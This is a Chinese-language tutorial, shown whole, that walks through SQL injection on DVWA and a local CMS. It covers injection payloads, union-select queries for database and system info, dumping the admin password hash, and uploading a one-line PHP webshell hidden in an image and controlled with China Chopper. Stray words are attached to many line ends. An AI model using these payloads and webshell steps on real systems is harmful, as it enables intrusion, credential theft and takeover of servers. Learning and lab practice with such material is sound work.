刚用这个技术的时候,也是看了不少前辈的博客,并本身搭建了测试环境,仍是从最基础的提及吧:php
sql注入,顾名思义,就是经过sql语句去web后端的数据库打交道,凡是存在数据库的web,基本均可能存在相似的网站,在OWASP的top10里也是数一数二的,sql注入最终的目的就是经过从url或者其余的一些地方传入一些参数,从而构建数据库查询语句,去后台查一些表项,在实际中通常用这个技术去查询管理员帐户。。。举一个例子吧,在例子中使用使用Damn Vulnerable Web App这个测试平台吧,这个平台我以为若是是用来研究这些技术的原理的话,还算方便。安装过程就不说了,直接上图吧:mysql
1.打开dvwa:web
2.点开左边的sql injectionsql
在页面上点击提交按钮,在提交到服务器的http请求包里,会带有下列字段:GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit ,抓取字段的方法是使用burpsuit,使用方法很少说了。提交到后台请求以下:shell
131031 4:05:48 587 Connect dvwa@localhost on
587 Init DB dvwa
587 Query SELECT first_name, last_name FROM users WHERE user_id = '1'数据库
经过后台的查询语句能够看出,在url提交的id的值,传入到了后台构造的查询语句。全部的注入,都是根据后台的这个查询语句来进行构造的。例如,在前面的页面传入1=1后端
后台的查询语句为:服务器
131031 4:11:19 588 Connect dvwa@localhost on
588 Init DB dvwa
588 Query SELECT first_name, last_name FROM users WHERE user_id = '1=1'session
下面在前面提交 1'='1,后台构造的语句为:函数
131031 4:13:29 589 Connect dvwa@localhost on
589 Init DB dvwa
589 Query SELECT first_name, last_name FROM users WHERE user_id = '1'='1'
后台的语句其实就是构造后的成果了,全部的sql注入最终基本都是为了造成相似的语句,只是可能最后构造的查询语句的表现形式不同,可能会经过各类编码来的形式来展示。
下面就经过在前面提交些特殊字符,来查出后台尽可能多的数据:
一、在页面提交 1'or 1=1 order by 1 -- 查看结果
二、在页面提交 1'or 1=1 order by 2 -- 查看结果
三、在页面提交 1'or 1=1 order by 3 -- 查看结果
判断是否有sql注入漏洞的方式并非只有这三种,只要是为真条件就能够,好比 1‘ or 1>0 这类的也能够
在通常注入过程当中,会使用这种办法去判断当前的表有几列,前两个的输出结果会比较正常,最后的显示会报错,说明当前的表有2列。有了这个数据,就能够经过union关键字去抓其余的东西,例如:
查看当前数据库版本:在页面提交 1' union select 1,version() -- 能够查看到版本的一些信息
查看当前会话:1' union select 1,current_user() -- 等等,用这种方式去查看其余的一些信息
其余查什么用户名啊,等等吧,都是这种方式。
基本sql注入的大前提就是sql注入查询语句,在存在sql注入的状况下,你能够直接在输入框、网址栏等地方直接输入必定的查询语句,能够为所欲为的查训信息,入侵步骤,通常为:
1.判断是否有漏洞:
在url后面添加' ,查看报错信息,例:http://localhost/cms/show.php?id=36',此时会报错,报错类型为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
从报错信息来看,咱们构造的id=36'已经被传到了mysql后台,即后台没有过滤特殊字符,这种类型基本能够判断为一个注入点,下面如今url后面添加真条件,如:
http://localhost/cms/show.php?id=36 and 1=1 --
此时发现返回的页面正常,将1=1换成1=2后,返回的页面跟1=1的页面不同,此时可判定为注入漏洞
2.判断数据库版本等信息,如:用户、版本等,在此步以前,须要判断当前表的列数,后面要用到union语句将其余的信息链接在当前表项后,如,在url后面添加order by 17
后出现的报错信息为:
http://localhost/cms/show.php?id=36 order by 17
Unknown column '17' in 'order clause',报错信息说明列数没有17列,那么将17改成15呢?结果发现页面正常出现了,那么将17改成16呢:结果仍是报错,这个时候就说明当前表为15列,即存储id=36的这个文章的表的列数为15
接下来要作的就是查询一些信息,首先输入http://localhost/cms/show.php?id=-36 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- ,输入id=-36是为了将后面的信息显现出来,不然只显示id36的,后面的查询结果都会被覆盖,输入上面的信息以后,结果为:
经过上面的信息能够看出,第3列和第11列显示在了比较显眼的地方,那么就把3和11换成咱们想知道的消息便可,如将3换成version(),将11换成current_user(),或者user()查看下结果:
经过这就能够看到一些信息,那么如今查看一些有用的信息,常见的有:(收集信息很重要,对后面的操做有很大的影响,每一个版本的数据库注入语句都不同)
a:system_user() 系统用户名
b:user() 用户名
c:current_user() 当前用户名
d:session_user()链接数据库的用户名
e:database() 数据库名
f:version() MYSQL数据库版本
g:load_file() MYSQL读取本地文件的函数
h:@@datadir 读取数据库路径
i:@@basedir MYSQL 安装路径
j:@@version_compile_os 操做系统
将3和11分别换成上面的信息,获得的结果以下:
system_user(),user(),current_user(),session_user():root@localhost database():cms version():5.6.12-log @@basedir:c:/wamp/bin/mysql/mysql5.6.12 @@datadir:c:\wamp\bin\mysql\mysql5.6.12\data\
2.查询管理员表,得到管理员登陆密码
判断表名:
上述方式来判断表格,固然也能够本身写脚本作,由于上述的步骤相对费些时间,当将admin修改成cms_user时
上述步骤能够看出后台确实存在cms_users表,那么如今判断表列:
截图里的url输入的是判断username是否是为空,即判断是否是存在username字段,若是存在文章正常显示,若是把username改成name,显示不正常,以此来判断是否存在字段。
判断用户名:
上述语句能够判断是否存在用户名,再判断是否存在password字段,再查看密码:
密码知道了,就去查把,在cmd5上面查下,可能付费,密码是test123,正常来讲得到md5后要去查的
3.登陆网站后台,上传小马
登录后台后,找到上传点,
登录后台找到上传点后,上传一句话木马,也就是传说中的小马中的小马,上传的时候,直接选择php木马,会报错,这种状况下,能够试试将木马的名字改成phpmm.php.jpg,上传,若是服务器对接受的文件自动重命名,这个时候,就须要使用到图片木马了,在本测试环境里,就是使用第三种方式上传木马。前面的两种方式能够先测试下,而后再使用第三种方式把,第三种方式里提到的图片木马的制做办法为 用反汇编工具将图片用16进制打开,而后将一句话木马放在最后,以下图:
而后再菜刀里连接一句话木马:
此时即已经能够连接到系统了,以下图:
4.上传大马(这部其实能够再上步中作好,只是若是上传文件限制了大小,则先传小马,再从小马传大马)
5.提权,得到系统权限(这部能够作也可不作,通常状况下拿下webshell就能够了)